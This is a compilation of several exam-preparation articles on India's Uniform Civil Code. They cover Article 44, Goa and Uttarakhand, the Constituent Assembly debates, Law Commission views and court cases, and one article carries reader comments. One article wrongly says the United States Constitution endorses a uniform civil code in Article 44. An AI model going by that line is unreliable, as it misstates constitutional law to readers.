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Uniform Civil Code (UCC): Pros and Cons in a nutshell

Last updated on July 9, 2024 by ClearIAS Team

The Union law ministry has recently asked the law commission to examine the matters about the implementation of the uniform civil code.

Table of Contents

What is the Uniform Civil Code?

The Uniform Civil Code (UCC) in India proposes to replace the personal laws based on the scriptures and customs of each major religious community in the country with a common set governing every citizen.

Is there a provision in the Indian constitution for a Uniform Civil Code (UCC)?

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The constitution has a provision for a Uniform Civil Code in Article 44 as a Directive Principle of State Policy which states that “The State shall endeavor to secure for the citizens a uniform civil code throughout the territory of India.”

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After its liberation in 1961, Goa retained the Portuguese Civil Code, making it the only state to have a UCC for all religions.

2024: Uttarakhand assembly has passed the uniform civil code bill, hence this becomes the first state in the country after independence to adopt UCC.

• Constitutional Mandate: Article 44 says that the State shall endeavor to secure for citizens a uniform civil code throughout the territory of India.
• Objective: The Bill proposes a common law on marriage, divorce, land, property, and inheritance for all citizens irrespective of their religion in Uttarakhand.
• Provisions of the UCC Bill do not apply to tribal communities.
• Bill aims to regulate live-in relationships.
• Bill prohibits bigamy or marriages with more than one person etc.

What are the Pros of the Uniform Civil Code?

To provide equal status to all citizens.

In the modern era, a secular democratic republic should have common civil and personal laws for its citizens irrespective of their religion, class, caste, gender, etc.

To promote gender parity

It is commonly observed that personal laws of almost all religions are discriminatory towards women. Men are usually granted upper preferential status in matters of succession and inheritance. A uniform civil code will bring both men and women to par.

To accommodate the aspirations of the young population

Contemporary India is a new society with 55% of its population being below 25 years of age. Their social attitudes and aspirations are shaped by universal and global principles of equality, humanity, and modernity. Their view of shedding identity based on any religion has to be given serious consideration to utilize their full potential for nation-building.

To support the national integration

All Indian citizens are already equal before the court of law as the criminal laws and other civil laws (except personal laws) are the same for all. With the implementation of the Uniform Civil Code, all citizens will share the same set of personal laws. There will be no scope for politicization of issues of discrimination or concessions or special privileges enjoyed by a particular community based on their particular religious personal laws.

To bypass the contentious issue of reform of existing personal laws

Existing personal laws are mainly based on the upper-class patriarchal notions of society in all religions. The demand of UCC is normally made by aggrieved women as a substitute for existing personal laws as patriarchal orthodox people still deem the reforms in personal laws will destroy their sanctity and oppose it profusely.

What are the Cons of the Uniform Civil Code?

Practical difficulties due to diversity in India

It is practically tough to come up with a common and uniform set of rules for personal issues like marriage due to the tremendous cultural diversity in India across religions, sects, castes, states, etc.

Read:  Personal laws in India

Perception of UCC as encroachment on religious freedom

Many communities, particularly minority communities perceive Uniform Civil Code as an encroachment on their rights to religious freedom . They fear that a common code will neglect their traditions and impose rules that will be mainly dictated to and influenced by the majority of religious communities.

Interference of state in personal matters

The constitution provides for the right to freedom of religion of one’s choice. With the codification of uniform rules and its compulsion, the scope of the freedom of religion will be reduced.

Sensitive and tough task

Such a code, in its true spirit, must be brought about by borrowing freely from different personal laws, making gradual changes in each, issuing judicial pronouncements assuring gender equality, and adopting expansive interpretations on marriage, maintenance, adoption, and succession by acknowledging the benefits that one community secures from the others. This task will be a very demanding time and human resource-wise. The government should be sensitive and unbiased at each step while dealing with the majority and minority communities. Otherwise, it might turn out to be more disastrous in the form of communal violence.

Time is not yet suitable for this reform

Considering the major opposition from the Muslim community in India over this issue overlapping with controversies over beef, saffronization of school and college curriculum, love jihad, and the silence emanating from the top leadership on these controversies, there needs to be given sufficient time for instilling confidence in the community. Otherwise, these efforts towards common will be counterproductive leaving the minority class particularly Muslims more insecure and vulnerable to get attracted towards fundamentalist and extremist ideologies.

• At the end of the day, a UCC can only emerge through an evolutionary process, which preserves India’s rich legal heritage , of which all the personal laws are equal constituents.
• The codification and implementation of UCC may not necessarily usher in the expected equality among genders and religions.
• Major sensitization efforts are needed to reform current personal law reforms which should first be initiated by the communities themselves.
• Current institutions need to be modernized, democratized and strengthened for this change. Sincere efforts towards women’s empowerment have to be taken for all women of all religions.
• The plural democracy is an identity of modern India. Therefore, efforts should be focused on harmony in plurality rather than blanket uniformity for a flourishing Indian democracy.

Article by: Manjiri Mulye.

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March 24, 2017 at 4:09 pm

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Please make notes for hindi medium students

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May 13, 2017 at 6:44 pm

Thanx nation builders…

July 9, 2017 at 11:38 am

Good article

August 21, 2017 at 8:14 am

Uniform civi code is a universal reality .the only grey area is sharia law . Like Hindu law and Christian personnel law ,even in sharia law the sole guardianship of a child below five years of age is the child’s mother alone and if the child’s mother marries another person other than the child’s father before the child attains five years of age loose the guardianship of the child unequivocally and the child is designated an orphan with state taking over the legal guardianship till she opts to choose her biological father as guardian after crossing the child’s five years of age .this clearly shows that all personnel laws are having a common essence . The debate in implementing universal common civil code for all citizens should be completed this year with the introduction of the much awaited Bill in parliament with a provision for sharia laws to prevail incase of a conflict , if a question of law is raised in court and not as a general option for citizens of India which should alone be the civil code .

September 10, 2018 at 11:25 pm

The best i hv site ever used for ias preparation . Detail description and analysis helps in understanding to the depth

March 21, 2019 at 3:10 pm

Very much helpful article….Thank you

September 19, 2019 at 8:04 pm

nice article …. very useful

November 26, 2019 at 12:04 am

Sigi article si khra adum yara UCC gidi.

April 9, 2020 at 6:34 pm

Good informative article

June 15, 2023 at 1:49 pm

Conclusion is utter nonsense. It is very diplomatic conclusion unregard to needs and threats.

July 4, 2023 at 3:30 pm

We don’t require uniform civil ciddi

July 12, 2023 at 11:13 am

You don’t requird uniform civil code . We will not get to rights because of this . We went to live in muslim way only thnxx

July 13, 2023 at 11:30 am

BEFORE IMPLEMENTATION OF THE UCC, BOTH MUSLIM ORGANIZATIONS AND PRESENT GOVERNMENT SHALL MEET TOGETHER TO SEE THE PROS AND CONS OF THE UCC.

February 28, 2024 at 8:05 am

UCC IS AN BREACH FOR THE RELIGIOUS LAWS WE DONT WANT IT RELIGIOUS FREEDOM IS MUST

August 1, 2023 at 11:29 am

Uniform Civil code is a must, and will level the treatment of all citizens as equal, and it can and must be done in a way where the practices of all religions can be respected without gevernmant interference.

August 9, 2023 at 9:44 am

Nice article sir

March 16, 2024 at 3:19 pm

Whether the Uniform Civil Code Uttrakhand 2024 shall apply / govern on the agricultural lands in Uttarakhand.

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• 1.1 Sub-Classification of Scheduled Castes
• 1.2 Centrally Sponsored Schemes (CSSs)
• 1.3 Citizen Participation Towards Good Governance
• 1.4 Lateral Entry In Civil Services
• 1.5 Surrogate advertisements
• 1.6 Uniform Civil Code (UCC)
• 1.6.1 Why in the News?
• 1.6.2 About Uniform Civil Code (UCC)
• 1.6.3 ​​Need for UCC in India
• 1.6.4 Supreme Court Judgements on UCC
• 1.6.5 Issues associated with implementing UCC
• 1.6.6 Way forward on implementing UCC in India
• 1.7 Legislative Impact Assessment
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• Uniform Civil Code (UCC)

Posted 12 Sep 2024

Updated 14 Sep 2024

Why in the News?

In his Independence Day speech, the Prime Minister advocated in favour of Uniform Civil Code by calling for a Secular Civil Code in place of the current religion-based (communal) Civil Code. 

About Uniform Civil Code (UCC)

• Matters under the scope of personal laws include marriage, divorce, maintenance, inheritance, adoption, and succession of the property.
• At present, most Indians are governed in such matters by their respective religious laws.  
• In Goa, a form of common civil code is in practice under the Portuguese Civil Code of 1867. ( Uttarakhand adopted UCC in  2024).
• 21st Law Commission of India (2018)  said that the formulation of UCC is neither necessary nor desirable at this stage, rather reforms must be undertaken on family laws of every religion to make them gender-just . 

​​Need for UCC in India

• It would also advance gender justice, national integration, and equality before the law enshrined in Article 14.
• Implementing a UCC would uphold the principles of a secular state,  where religious beliefs do not dictate civil matters.
• Eg. polygamy is legal as per Muslim Personal Law (Shariat Application Act), 1937, but it is against women and hence must be discarded.
• Fulfilling International Obligations:  Justifying India’s membership at various Human Rights conventions and protocols, including United Nations Human Rights Convention.
• Simplification of Laws:  A standardised procedure in personal matter irrespective of religious background would ensure faster and more efficient resolution of disputes.
• Adapting to Modern Times: Implementing a UCC ensure that laws align with the evolving social landscape, promoting inclusivity and individual freedoms.

Issues associated with implementing UCC

• Against Diversity:  Personal laws have been deeply ingrained as a way of life, and imposing a UCC could undermine cultural and religious identities and could violate religious freedom (Article 25 of the Constitution).
• Lack of Consensus: Implementing a UCC without the consent and agreement of all communities could lead to social unrest.
• Against Cooperative Federalism: Several experts argued that UCC could encroach upon states’ legislative competence, thereby infringing on principles of cooperative federalism.

Way forward on implementing UCC in India

• Consensus building: Involving various stakeholders including inter-faith dialogues to prevent social discord.
• Socio-economic impact analysis: By taking into consideration the potential impact on the marginalised and vulnerable communities along with incorporating provisions for them.
• Education and awareness:  Building progressive and broadminded outlook among the people helping them understand the spirit of UCC.
• Codification of all personal laws : By codifying laws, one can establish universal principles that promote fairness.
• Shah Bano Case
• Sarla Mudgal Case

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TABLE OF CONTENTS

Uniform civil code (ucc): meaning, constitutional provisions, debates, judgments & more.

Rooted in the principles of equality, justice, and secularism, the Uniform Civil Code (UCC) has been a long-standing aspiration in India. Recent developments such as the passage of the Uniform Civil Code (UCC) Bill in Uttarakhand have reignited the debates surrounding it. This article of Next IAS aims to explain the meaning of the UCC, related constitutional provisions, its benefits and challenges, and the way forward.

Meaning of the Uniform Civil Code

A Uniform Civil Code (UCC) refers to a common law that applies to all religious communities in personal matters such as marriage, inheritance, divorce, adoption, etc. It aims to replace the different personal laws that currently govern personal matters within different religious communities.

A UCC primarily aims to promote social harmony, gender equality, and secularism by eliminating disparate legal systems based on different religions and communities. Such a code seeks to ensure uniformity of laws not only between the communities but also within a community.

Constitutional Provisions

The Directive Principle of State Policies mentioned in Article 44 of the Indian Constitution provides that The State shall endeavor to secure for the citizens a uniform civil code throughout the territory of India. However, being a Directive Principle, it is not justiciable.

Status of the Uniform Civil Code in India

• As of now, India does not have a Uniform Civil Code (UCC) implemented at the national level. Instead, different personal laws based on religious customs and practices govern matters such as marriage, divorce, inheritance, and adoption for different religious communities.
• However, over the years, the central government as well as some states have made certain efforts towards the implementation of UCC. These efforts can be seen under the following two heads:

Steps taken by the Center

Special marriage act, 1954.

It was enacted to provide a secular alternative in marriages. It lays down provisions for civil marriage for the people of India and all Indian nationals in foreign countries, irrespective of religion or faith followed by either party.

Hindu Code Bills

The Hindu Code Bills , passed by the Parliament during the 1950s, are seen as a step towards the UCC. The following 4 Acts enacted under it seek to codify and bring uniformity in personal laws within the Hindu community:

• The Hindu Marriage Act, 1955
• The Hindu Succession Act, 1956
• The Hindu Minority and Guardianship Act, 1956
• The Hindu Adoption and Maintenance Act, 1956

Note: The term ‘Hindu’ also includes Sikhs, Jains, and Buddhists for the purpose of these laws.

Steps taken by the States

• This law in Goa is known as the Goa Civil Code or Goa Family Code and applies to all Goans, irrespective of their religious or ethnic community.

Uttarakhand

• The Bill provides for a common law for matters such as marriage, divorce, inheritance of property, etc., and applies to all residents of Uttarakhand except Scheduled Tribes.

Present Status

• Nationwide implementation of a Uniform Civil Code remains an elusive goal.
• Hindu Marriage Act (1955)
• Muslim Personal Law (Shariat) Application Act (1937)
• Christian Marriage Act (1872)
• Parsee Marriage and Divorce Act (1937) etc

Debates in the Constituent Assembly

The issue of the Uniform Civil Code (UCC) was debated extensively in the Constituent Assembly. Key arguments presented during the debate can be summarized as follows:

Arguments in Favor

The proponents of the UCC in the Constituent Assembly included members like B.R. Ambedkar, Alladi Krishnaswamy Ayyar, and K.M. Munshi. They put forth the following arguments in favor of a common civil code

• Equality and Justice : As per them, a common civil code would uphold the principles of equality and justice by ensuring uniform laws for all citizens, regardless of their religious affiliations.
• Secularism: A UCC would align with the secular nature of the Indian state, separating personal laws from religious considerations and promoting a unified national identity.
• Women’s Rights : Such a code would do away with discriminatory practices prevalent in personal laws, particularly those affecting women’s rights in matters such as marriage, divorce, and inheritance. Thus, it would promote gender equality and women empowerment.

Arguments Against

Opponents of the UCC in the Constituent Assembly included members such as Nazirrudin Ahmad and Mohammad Ismail Khan . They expressed the following reservations about the UCC:

• Religious Autonomy : It might cause potential infringement upon the religious autonomy of various communities as it would interfere with religious customs and traditions without the consent of those communities.
• Cultural Sensitivities : A single code might not adequately accommodate the unique customs and sensitivities of different communities. This, in turn, might hamper the diversity of religious and cultural practices in India.
• Social Unrest : Practices related to personal matters are deeply rooted in the religious and cultural identities of various communities in India. Implementing a uniform civil code might mean forcing them to relinquish their identities and could lead to social unrest and communal tensions.

Since a consensus on a UCC could not be reached in the Constituent Assembly, it was placed under the Directive Principles of State Policy under Article 44.

Supreme Court’s Views on Uniform Civil Code

The issue of a Uniform Civil Code has been dealt with by the Supreme Court in various cases. Accordingly, the Supreme Court has passed several landmark judgments and observations that have significantly contributed to the discourse on the UCC. Some of these include:

Law Commission’s Views on Uniform Civil Code

The Law Commission of India has periodically examined the issue of the Uniform Civil Code (UCC) and its implications for Indian society. Some notable observations made by the Law Commission are as follows:

21st Law Commission of India (headed by Justice Balbir Singh Chauhan)

• This commission expressed the view that implementing a UCC might not be necessary or desirable at this time. Instead, it suggested a series of reforms within various personal laws pertaining to different communities.
• Thus, it recommended amendments and changes to existing family laws with the aim of ensuring justice and equality within all religions, rather than proposing a single uniform law.

22nd Law Commission of India (headed by Justice Rituraj Awasthi)

• This commission has issued a consultation paper on the UCC, seeking public feedback on the issue.
• Diverse sections of the population including religious organizations, legal experts, policymakers, and civil society groups have been asked to furnish their views regarding the feasibility, implications, and potential framework for a UCC.

Arguments in Favour of Uniform Civil Code

Based on the above-discussed discourse and the opinion of the experts, the following arguments can be put forth in favor of implementing a Uniform Civil Code:

• Simplifies Legal System : Having one set of laws for all will simplify the personal laws that are at present segregated on the basis of religious beliefs. This, in turn, would simplify the legal framework and the legal process.
• Promotes Equality : A UCC aims to ensure that all citizens of India, irrespective of their religion, are treated equally under the law. Thus, it will help promote the ideal of equality as envisaged in the Preamble.
• Promotes Secularism : A UCC would help towards achieving a secular state where the law is the same for all, regardless of religion. Thus, it would help promote the ideal of Secularism in the country.
• Promotes Gender Equality and Women Empowerment : The current personal laws of different religious communities put women in a disadvantageous position in matters related to marriage, divorce, inheritance, and property rights. Implementing a UCC would ensure equal treatment and opportunities for women in these areas, thus promoting the cause of Gender Equality and Women Empowerment.
• Promotes National Integratio n: A common set of laws for all citizens will promote a sense of oneness and the national spirit. This, in turn, will promote national unity and integrity and help India emerge as a nation in the true sense.
• Promotes Modernization : By doing away with outdated religious laws, a UCC would reflect the progressive aspirations of a modern democratic society based on current values and ethics.
• Elevates Global Image : Adopting a UCC would enhance India’s international image as a progressive and inclusive democracy committed to upholding the principles of equality, justice, and secularism. It would align India’s legal framework with global human rights standards and modern democratic practices.

Arguments Against Uniform Civil Code

Several critics have put forth the following arguments against implementing a Uniform Civil Code:

• Lack of Consensus : There is no consensus among various communities about what the UCC should entail. The lack of agreement on the principles and provisions of a common code makes it difficult to envision a UCC that is acceptable to all.
• Implementational Challenges : The sheer diversity of laws governing different communities makes the drafting and implementation of a UCC a daunting task. Creating a code that adequately addresses and respects the nuances of each community’s laws won’t be easy.
• Threat to Religious Freedom : Implementing a UCC would infringe upon the religious freedom of citizens by imposing uniform laws that may contradict their religious beliefs and practices. This might mean state interference in religious affairs.
• Threat to Cultural Diversity : Imposing uniform laws across such diverse communities would ignore the unique cultural practices, traditions, customs, and sensitivities of different religious groups. Overall, it might go against the idea of diversity.
• Fear of Majoritarianism : There is a concern that a UCC could reflect the beliefs and practices of the majority religion. Thus, it may be akin to imposing a majoritarian view on minorities and hence marginalization of minority groups.
• Threat of Social Unrest : Given the sensitivity around religious and cultural practices, there is a risk that attempting to implement a UCC could lead to social unrest and deepen communal divides.
• Undermining Federalism : Personal matters being under the Concurrent List, both the Parliament and state legislature are empowered to make laws on them. Imposing a UCC could undermine the federal structure by encroaching upon the rights of states to legislate on such matters.

Way Forward

• Dialogue and Consultation : There needs to be extensive dialogue and consultation with all stakeholders, including religious communities, legal experts, policymakers, and civil society organizations, to understand concerns and perspectives regarding the UCC.
• Public Awareness and Education : Conducting awareness campaigns and educational programs to inform the public about the benefits and implications of the UCC can help build consensus and garner support for its implementation.
• Piecemeal Approach : A piecemeal approach of codifying the different personal laws and putting them for public debates and scrutiny can be adopted. This will arouse public consciousness towards UCC.
• Inclusivity : A UCC should be drafted in such a manner that respects religious diversity while promoting gender equality and justice is crucial.
• Gradual Implementation : Implementing the UCC in a phased manner, starting with areas where there is least resistance and gradually expanding its scope, can help mitigate concerns and ensure a smoother transition.
• Monitoring and Evaluation : As and when a UCC is implemented, a mechanism should be established for monitoring its implementation, and evaluating its impact on society. This will help make necessary adjustments and improvements and smoothen the process of its implementation.
• Political Will : Political leaders must demonstrate leadership and a strong will to navigate through the complexities and challenges associated with the UCC implementation.

In conclusion, the Uniform Civil Code (UCC) stands as a critical imperative for India’s journey towards social justice, equality, and secularism. Despite some drawbacks and implementational challenges, UCC offers immense potential benefits. From ensuring gender equality and social cohesion to simplifying legal procedures and fostering modernization, the UCC holds the promise of protecting the oppressed as well as promoting national unity and solidarity. 

Read out our detailed article on the Uttarakhand UCC Bill

Frequently Asked Questions (FAQs)

What is the uniform civil code.

UCC refers to a common law being applicable to all religious communities in personal matters such as marriage, inheritance, etc. It aims to replace the different personal laws that currently govern personal matters within different religious communities.

What is the Need for a Uniform Civil Code in India?

The need for a Uniform Civil Code (UCC) in India arises from the imperative of establishing equality, secularism, and national integration in India.

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Uniform Civil Code in India: Suggestions, Challenges and Essay for UPSC Notes

The Uniform Civil Code is based on the idea of one country, one code that applies to all faith groups. Part 4, Article 44 of the Indian Constitution specifically mentions the term “Uniform Civil Code.”

Since the first petition was submitted in 2019 to demand the creation of a UCC to promote national integration and gender equality,  justice, and dignity of women, it has become a hotly disputed topic in India. Questions from it can be asked in the IAS Exam in GS-II (Governance), Mains GS-1 (Indian Society), Prelims, and also Essay papers.

This article will give you all the important notes and information about the uniform civil commission in India. The law commission reports behind the uniform code, when it was formed and why it was formed, all the data will be provided here.

Uniform Civil Code in India: UPSC Essay Introduction Paragraph

A Uniform Civil Code indicates that all members regardless of faith, society, will be treated equally under a national civil code that will be applied similarly to all.

They address topics such as inheritance, divorce, adoption, marriage, child support, and property succession. It is founded on the assumption that in modern culture, there is no link between law and religion.

Also Read: Uniform Civil Code: The Complete Guide to Important UPSC Notes  

Features Of Uniform Civil Code of Goa

# In Goa, the Uniform Civil commission is a progressive statute that allows for an equitable distribution of income and property between husband and wife, as well as children (regardless of gender).

# Every birth, marriage, and death must be legally recorded. There are numerous provisions for divorce.

# Polygamy and triple talaq are not permitted for Muslims whose marriages are registered in Goa.

# During the course of a marriage, the couple shares all of the property and wealth that each spouse owns or acquires.

# In the event of a divorce, each spouse is entitled to half of the property, and in the event of death, the surviving member’s ownership is halved.

# Parents cannot completely disinherit their offspring. A minimum of half of their assets must be passed on to the children. This inherited property must be divided among the children equally.

Also Read: How to Write an Essay? 9 Tips To Score Better in UPSC Essay Paper

Suggestions for Bringing Up a Uniform Civil Code

The following suggestions must be considered immediately in order to achieve the DPSP’s goals and maintain legal uniformity

# People should be encouraged to have a progressive and open-minded mindset in order to grasp the spirit of the UCC. Education, sensitization and awareness programmes must be implemented to achieve this.

# The Uniform Civil commission should be written with the greatest interests of all religions in mind.

# To maintain uniformity, a committee of distinguished jurists should be formed, and care must be taken not to offend the feelings of any particular group.

# Given the sensitivity of the subject, it is always preferable if the initiative comes from the religious groups involved.

Uniform Civil Code: Historical Perspective (Second Paragraph)

The perspective of the commission comes from the history of colonial times.

Pre-Independence: Colonial Era

# The October 1840 Lex Loci Report emphasised the need and necessity of uniformity in the codification of Indian law, particularly in the areas of crimes, proof, and contract. However, it was also recommended that Muslim and Hindu personal laws be left out of such codification.

# The Proclamation of the Queen of 1859 pledged complete non-interference in religious affairs.

Post-Colonial Era

Famous leaders like Jawaharlal Nehru and Dr. B.R. Ambedkar campaigned for a standard civil code during the constitution’s development.

However, because of religious fundamentalist opposition and a lack of public understanding at the time, they included the UCC in the Directive Principles of State Policy (DPSP, Article 44).

The Hindu Code Bill

Dr B R Ambedkar drafted the bill to modify Hindu laws that legalised divorce, prohibited polygamy, and provided daughters inheritance rights. Despite fierce opposition, a reduced form of the code was passed through four different statutes.

Succession Act

Originally, the Hindu Succession Act of 1956 did not grant daughters any inheritance rights in the family property. They could only beg for a right to food from a Hindu family that lived together. However, on September 9, 2005, an amendment to the Act was passed, which eliminated the difference.

Minority and Guardianship Act

The Hindu Marriage Act

Adoptions and Maintenance Act

Special Marriage Act

It was passed in 1954 and allows legal marriages to take place outside of any religious personal law.

Also Read: What Is the UAPA Act? Here’s All You Need to Know about the Act for the UPSC Exam

Law Commission Report: Uniform Civil Code in India (Third Paragraph)

According to the Law Commission study, the way forward may not be a Uniform Civil commission, but rather the codification of all personal laws so that stereotypes and prejudices in each one can be exposed and tested against the Constitution’s Fundamental Rights.

Merits of Uniform Civil Code

Given below are the merits of the law commission of the UCC or the Uniform Civil Code. The UCC has many advantages because it is a commission for equality, liberty and franchise.

National Integration

A single commission is essential for the protection of India’s most vulnerable citizens (religious minorities and women), as well as the development of solidarity and national unity.

Simplification of Laws

# There are numerous personal laws, such as the Sharia Law, Hindu Code Bill, and others.

# The existence of so many laws leads to complexity, confusion, and inconsistency in the adjudication of personal matters, which can result in delayed or no justice.

# This overlapping of laws will be eliminated by the UCC.

Simplification of the System

UCC will lead to a decrease in litigation originating from numerous personal laws.

Establishing a Secular Nation

# UCC will separate law from religion, which is a very desirable goal in a socialist and secular society.

# Furthermore, it complies with Article 44 of the Directive Principles of State Policy, which is a constitutional duty.

Gender Justice

# Women’s rights are frequently restricted under patriarchal rhetoric by religious regulations.

# UCC will free women from patriarchal oppression and grant them the right to liberty and equality that they deserve.

# UCC would lead to the defeat of divisionist and communal movements in the long run.

Way Forward UCC (Conclusion)

India has a unique mix of Parsi, Muslim, Christian and Hindu personal laws codified. There is no single family-related law for all Indians in a single statute book that is acceptable to all religious faiths that coexist in India. However, the majority of them agree that UCC is unquestionably desirable and would contribute significantly to the building and consolidation of Indian nationhood.

Furthermore, although the United States Constitution endorses the cause of a uniform civil code in Article 44, it should not be misinterpreted as a “common law.”

The term “uniform” refers to the fact that all communities must be governed by the same gender and human equity principles.

Each personal law will be humanised and modernised as a result.

It would imply different personal rules founded on ideals of liberty, fairness, and equality, rather than common law.

Practice Questions for Uniform Civil Code for UPSC

Here are some questions which are asked in the previous papers of UPSC

# What are your thoughts on the Uniform Civil Code? Examine its applicability in a secular country like India, as well as the obstacles to its implementation. (maximum 250 words)

# Examine the elements that may prevent India from implementing a unified civil commission for its inhabitants, as required by the directive principles of state policy.

# On the one hand, there is no necessary link between religion and personal laws, while civil and personal laws are distinct on the other. Discuss the need for a consistent civil commission and the various issues that come with it in this setting.

# Essay Question: In a secular India, a Uniform Civil Code is Required.

Also Read: UPSC Test Question with Answers: Practice Set for UPSC Current Affairs

This article is an essay on the uniform civil code of India and talks about the challenges, suggestions and also the arguments. The aspirants should take down these as important notes, and also form revision notes as bullet points as uniform civil code is a very crucial topic in the UPSC.

It can be asked in current affairs, general studies papers and even as an essay topic. There are many videos that talk about this topic and many debates which give you the perfect idea of what this topic is all about.

Hopefully , this article helped you with all the data and information that you were looking for. What is your opinion on the Uniform Civil Code of India? Drop your explanation in the comments section below.

Also Read: What is Section 66A of the IT Act? Here is All the Information for UPSC Preparation

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Uniform Civil Code

  Syllabus: Indian Constitution

  Context: The push for a Uniform Civil Code is raising concerns about religious rights and personal laws, as the Supreme Court’s inquiry on religious freedom remains unresolved.

What is UCC?

Uniform Civil Code refers to the proposition of having a uniform set of civil laws for all citizens of a country, irrespective of their religious or cultural affiliations .

The principle behind UCC:

The concept of a UCC is rooted in the idea of equality and uniformity before the law and it aims to replace the personal laws based on religious practices that currently govern matters such as marriage, divorce, inheritance, adoption, and succession.

Historical Perspectives on UCC

• British rule : There was a lack of uniformity in civil matter s as personal laws based on religious customs and traditions were recognized for different communities . The idea of a UCC emerged as a response to this fragmentation and as a means to promote a common civil identity.
• Portuguese rule : When Goa was under Portuguese rule until 1961, a Uniform Civil Code based on the Portuguese Napoleonic code was implemented.
• Nehruvian Vision: Jawaharlal Nehru envisioned a modern and progressive India and saw the UCC as an essential element of nation-building . He believed that a UCC would help eliminate divisions based on religion and promote equality among citizens.
• Hindu Code Bill : The Hindu Code Bill sought to codify and modernize Hindu personal laws relating to marriage, divorce, adoption, and inheritance. It was seen as a step towards a UCC, as it aimed to bring uniformity in personal laws within the Hindu community.
• Shah Bano Case: The Supreme Court judgment, in this case, sparked debates on the need for a UCC to ensure gender justice and equal rights for women across religious communities .

Constitutional Perspectives on UCC

• Constituent Assembly Debates : During the framing of the Indian Constitution, the debates witnessed diverse viewpoints, with some members advocating for a UCC as a way to promote gender equality and secularism, while others expressed concerns about preserving religious and cultural rights.
• Directive Principles of State Policy: Article 44 of the Indian constitution states that the state shall endeavour to secure for its citizens a uniform civil code throughout the territory of India.
• Secularism : The Indian Constitution enshrines the principle of secularism, which mandates the separation of religion and the state . A UCC is seen as a way to promote secularism by ensuring equal treatment of all citizens irrespective of their religious affiliations.
• Equality and Non-Discrimination: The Constitution of India guarantees equality before the law under Article 14, and prohibits discrimination on grounds of religion, race, caste, sex, or place of birth. UCC would uphold these principles by ensuring equal rights and equal treatment for all citizens, regardless of their religious backgrounds.
• Gender Justice: The Constitution also guarantees the right to equality and the right against discrimination based on gender. A UCC is seen as a means to promote gender justice .

How do Personal laws govern different communities?

Argument in favour of UCC:

Argument Against UCC:

Law Commission Views:

• 21st Law Commission of India: It said the “issue of uniform civil code is vast, and its potential repercussions, untested in India” . It said that “ UCC is neither necessary nor desirable at this stage”.
• The government had asked the 22nd Law Commission of India to undertake an examination of various issues relating to UCC.

SC-related cases:

Conclusion:

The implementation of a Uniform Civil Code (UCC) in India requires a balanced approach that respects multiculturalism and diversity . Inclusive discussions with stakeholders, including religious leaders and legal experts , are essential to ensure diverse perspectives are considered. The focus should be on eliminating practices that hinder equality and gender justice while avoiding reactive culturalism . The reform process of Muslim Personal Law should be led by the Muslim clergy, and Muslims should critically examine practices to promote equality and justice. The aim is to develop a just and inclusive UCC that upholds constitutional values.

Quotes related to UCC:

• “The implementation of a Uniform Civil Code (UCC) will promote the integration of India by establishing a shared platform for diverse communities”  
• “The Uniform Civil Code may potentially enforce a code that is influenced by Hindu practices in all communities”
• “It is imperative to ensure that certain groups or marginalised segments of society are not subjected to disadvantageous treatment during this endeavour”

Insta Links:

Strike a fine balance, have a just civil code

Mains Links:

Constitutional Morality’ is rooted in the Constitution itself and is founded on its essential facets. Explain the doctrine of ‘Constitutional Morality’ with the help of relevant judicial decisions. (UPSC 2021)

Prelims Links:

Q1. Consider the following provisions under the Directive Principles of State Policy as enshrined in the Constitution of India: ( UPSC 2012)

• Securing for citizens of India a uniform civil code
• Organising village Panchayats
• Promoting cottage industries in rural areas
• Securing for all the workers reasonable leisure and cultural opportunities

Which of the above are the Gandhian Principles that are reflected in the Directive Principles of State Policy?

(a) 1, 2 and 4 only (b) 2 and 3 only (c) 1, 3 and 4 only (d) 1, 2, 3 and 4

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Uniform Civil Code - Challenges, Suggestions & Debate On UCC [UPSC Notes]

Uniform Civil Code resonates with one country one rule, to be applied to all religious communities. The term, ‘Uniform Civil Code’ is explicitly mentioned in Part 4, Article 44 of the Indian Constitution. Article 44 says, “The State shall endeavor to secure for the citizens a uniform civil code throughout the territory of India.” 

Uniform Civil Code – Indian Polity Download PDF Here

Context : Uniform Civil Code in India is a widely debated topic lately since the first petition was filed in 2019 to seek for framing of a UCC to promote national integration and gender justice, equality, and dignity of women.

Questions from it can be asked in the IAS Exam in Prelims, Mains GS-1 (Indian Society), GS-II (Governance), and also Essay papers. This article is an essay on the Uniform Civil Code in India. It talks about the challenges and suggestions in its implementation, part IV of Article 44 of the constitution and debates associated with uniform civil code.

Table of Contents:

Uniform Civil Code – UCC

A Uniform Civil Code means that all sections of the society irrespective of their religion shall be treated equally according to a national civil code, which shall be applicable to all uniformly.

They cover areas like- Marriage, divorce, maintenance, inheritance, adoption and succession of the property. It is based on the premise that there is no connection between religion and law in modern civilization.

What is Article 44?

Article 44 corresponds with Directive Principles of State Policy stating that State shall endeavour to provide for its citizens a uniform civil code (UCC) throughout the territory of India.

Uniform Civil Code Debate

Historical perspective – The debate for a uniform civil code dates back to the colonial period in India.

• The Lex Loci Report of October 1840- It stressed the importance and necessity of uniformity in the codification of Indian law, relating to crimes, evidence and contract. But, it also recommended that personal laws of Hindus and Muslims should be kept outside such codification.
• The Queen’s 1859 Proclamation- It promised absolute non-interference in religious matters.

So while criminal laws were codified and became common for the whole country, personal laws continue to be governed by separate codes for different communities.

• During the drafting of the constitution, prominent leaders like Jawaharlal Nehru and Dr B.R Ambedkar pushed for a uniform civil code. However, they included the UCC in the Directive Principles of State Policy (DPSP, Article 44) mainly due to opposition from religious fundamentalists and a lack of awareness among the masses during the time.

Some of the reforms of this period were:-

The Hindu code bill -The bill was drafted by Dr.B R Ambedkar to reform Hindu laws, which legalized divorce, opposed polygamy, gave rights of inheritance to daughters. Amidst intense opposition of the code, a diluted version was passed via four different laws.

Succession Act- The Hindu Succession Act, 1956, originally did not give daughters inheritance rights in ancestral property. They could only ask for a right to sustenance from a joint Hindu family. But this disparity was removed by an amendment to the Act on September 9, 2005

The Hindu Marriage Act

Minority and Guardianship Act

Adoptions and Maintenance Act

Special Marriage Act:

• It was enacted in 1954 which provided for civil marriages outside of any religious personal law.
• Judicial interventions:

Shah Bano case (1985) :-

A 73-year-old woman called Shah Bano was divorced by her husband using triple talaq (saying “I divorce thee” three times) and was denied maintenance. She approached the courts and the District Court and the High Court ruled in her favour. This led to her husband appealing to the Supreme Court saying that he had fulfilled all his obligations under Islamic law.

The Supreme Court ruled in her favour in 1985 under the “maintenance of wives, children and parents” provision (Section 125) of the All India Criminal Code, which applied to all citizens irrespective of religion. Further, It recommended that a uniform civil code be set up.

Facts about the case:

• Under Muslim personal law, maintenance was to be paid only till the period of iddat. (three lunar months-roughly 90 days ).
